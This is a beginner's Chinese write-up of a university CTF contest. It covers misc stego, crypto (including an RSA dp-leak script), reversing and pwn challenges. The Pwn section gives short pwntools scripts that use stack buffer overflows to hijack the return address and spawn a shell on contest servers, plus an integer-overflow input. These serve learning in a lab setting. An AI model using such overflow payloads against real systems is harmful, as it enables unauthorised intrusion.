这两天做了一下武汉科技大学的新手赛,由于我是小萌新,难的题目都不会,下面是部分简单题的wp
Misc
1.Space Club
打开之后是这样的,结合题目,估计可能是一堆空格之类的,用python看一下
with open("space.txt")as f:
a=f.read()
for i in a:
print (str(ord(i)))
运行结果如图,32即为空格的ASCII码,猜测10是用来分隔的,分隔之间空格的不同数量即为有用信息,再提取
with open("space.txt")as f:
a=f.read()
g=0
s=''
for i in a:
if ord(i)==32:
g=g+1
else:
s+=chr(g+97)
g=0
print (s)
由于我一开始以为会是空格数量代表不同字母,所以我这是空格数量+97后的结果,发现分隔之间的空格数量,要么为6个,要么为12个,由此,我们可以把g作为0,m作为1进行替换,再二进制转ASCII码即可得flag
2.welcome
这个文件是这样的,exe打开后会开启摄像头,结合题目里的三人行和说明里面的提示,得出需要三个人出现在摄像头里即可拿到flag,图就不上了,免得暴露我帅气的脸庞
3.爬
文件下载下来后无后缀名,010editor或winhex查看头文件可知是pdf文件,修改后缀名,用pdf编辑器或Photoshop打开,可以看到这样的提示
flag被图片挡住了,那我们就选中图片让它给爷爬!爬开之后看到了以下这个
16进制转ASCII即可得flag了
4.girlfriend
文件下载之后是一个wav音频,听声音怀疑是拨号音隐写,用音频处理软件打开后查看频谱图验证了猜想
通过如第二张图所示的方式实现,我一开始尝试着肉眼看,后来发现实在太多,眼睛都快瞎了,关键是还容易错,我直接心态炸裂。后来我突然想起来,是有脚本的。就去github上搞了脚本,改了下脚本里的文件名,运行,咳上瓜子静静等待即可啦
9996668827773369994444777555333777444336637777
我兴高采烈地拿着这串东西去提交,居然不对?仔细一想,这么长也不像是flag,确实是我天真了。再一想,感觉应该和九键键盘有关,999即代表9上面的第三个字符y,*为分隔符,解出来是youaremygirlfriends,很显然这必定是flag了
5.find me
这题是个jpg图片,下载下来之后在备注里看到了这么一串东西
我也不知道这是什么,百度了才晓得,放到这个网站就可以解了
https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=mangwen
6.shop
这里需要nc连接47.97.40.187 12306
连接之后发现你有2020的钱,cheaper flag需要花费999且没有数量限制,real flag只能买一个但却需要100000
我们可以购买一定数量的cheaper flag,利用整数溢出,实现亿万富翁梦
数量比2的31次/999+2020/999大一点即可,拿着这些钱,就可以买到真的flag了
7.Alison likes jojo
文件下载下来之后,是这样的两张图片,第一张放到虚拟机里binwalk一下,可分离得到一个安装包,是加密的,爆破即可秒出密码
压缩包里是这样一个txt,拿去base64解密三次得到“killerqueen",由于还有第二张图片且里面不存在其它文件,初步猜测第二张图片经过某软件加密,而killerqueen就是密码,试了一波之后发现是outguess加密,得到flag
Crypto
1.大数运算
part3计算器算一下就行,part4就是普通的定积分,part2我用的是python,part1我当时是用了个网站计算的
2.B@se
这题就是对base64表做了改动,转换回来就可以了
3.佛说:只能四天
熟悉密码的人应该都知道这个加密方式,但是有点坑的是,他这里用的是新佛曰,居然还有新的?
http://hi.pcmoe.net/Buddha.html
解出来之后是社会主义核心价值观加密
根据提示,栅栏密码,把_doyouknowfence去掉继续解密
发现这个,同理,去除末尾后继续解凯撒,但解了一圈之后并没有发现什么,便猜测凯撒密码并不是最后一环
再观察,发现这串字符由大写字母和2-7的数字组成,便想到了base32,这个比赛flag的开头皆为wctf2020,拿这个去加密一波
开头为‘O’,找到凯撒解密里开头为O的那串字符
开头完全符合,说明猜想正确,把这串字符拿去base32解密即可得到flag
4.leak
这是一个rsa的题目,解密脚本如下
import gmpy2
import binascii
def getd(n,e,dp):
for i in range(1,e):
if (dp*e-1)%i == 0:
if n%(((dp*e-1)/i)+1)==0:
p=((dp*e-1)/i)+1
q=n/(((dp*e-1)/i)+1)
phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)%phi
return d
e = 65537
n = 156808343598578774957375696815188980682166740609302831099696492068246337198792510898818496239166339015207305102101431634283168544492984586566799996471150252382144148257236707247267506165670877506370253127695314163987084076462560095456635833650720606337852199362362120808707925913897956527780930423574343287847
dp = 734763139918837027274765680404546851353356952885439663987181004382601658386317353877499122276686150509151221546249750373865024485652349719427182780275825
c = 108542078809057774666748066235473292495343753790443966020636060807418393737258696352569345621488958094856305865603100885838672591764072157183336139243588435583104423268921439473113244493821692560960443688048994557463526099985303667243623711454841573922233051289561865599722004107134302070301237345400354257869
d=getd(n,e,dp)
m=pow(c,d,n)
print binascii.unhexlify(hex(m)[2:])
运行得flag
Re
1.Cr0ssFun
拖进ida
其实是个套娃,最后给出了flag每一个字符的ASCII码,连起来即可得到flag了
2.level1
这题是个简单加密,搞懂加密方法,根据给出的output.txt即可写出解密脚本
3.level2
upx脱壳后字符串里找到flag
4.level3
这题我一开始以为他是在base64_encode里面动了手脚,分析了半天才发现是base64表被改了
拿到新base64表后,再去解代码里给出的那个base64字符串即可得到flag
Pwn
1.getshell
利用栈溢出,返回地址0x08048524即可得到flag
from pwn import *
sh=remote("47.97.40.187",12333)
payload='a'*0x18+'bbbb'+p32(0x08048524)
sh.sendline(payload)
sh.interactive()
2.getshell2
利用栈溢出,返回地址0x08048529调用system函数,然后找到sh字符串的地址
再把sh字符串作为参数传给system函数即可
from pwn import *
sh=remote("47.97.40.187",12334)
payload='a'*0x18+'bbbb'+p32(0x08048529)+p32(0x08048670)
sh.sendline(payload)
sh.interactive()
3.number_game
经过测试,-2^31-1这个数字即可
from pwn import *
sh=remote("106.12.48.20",12336)
#payload=str(2147483648)
sh.sendline(str(-2147483649))
sh.interactive()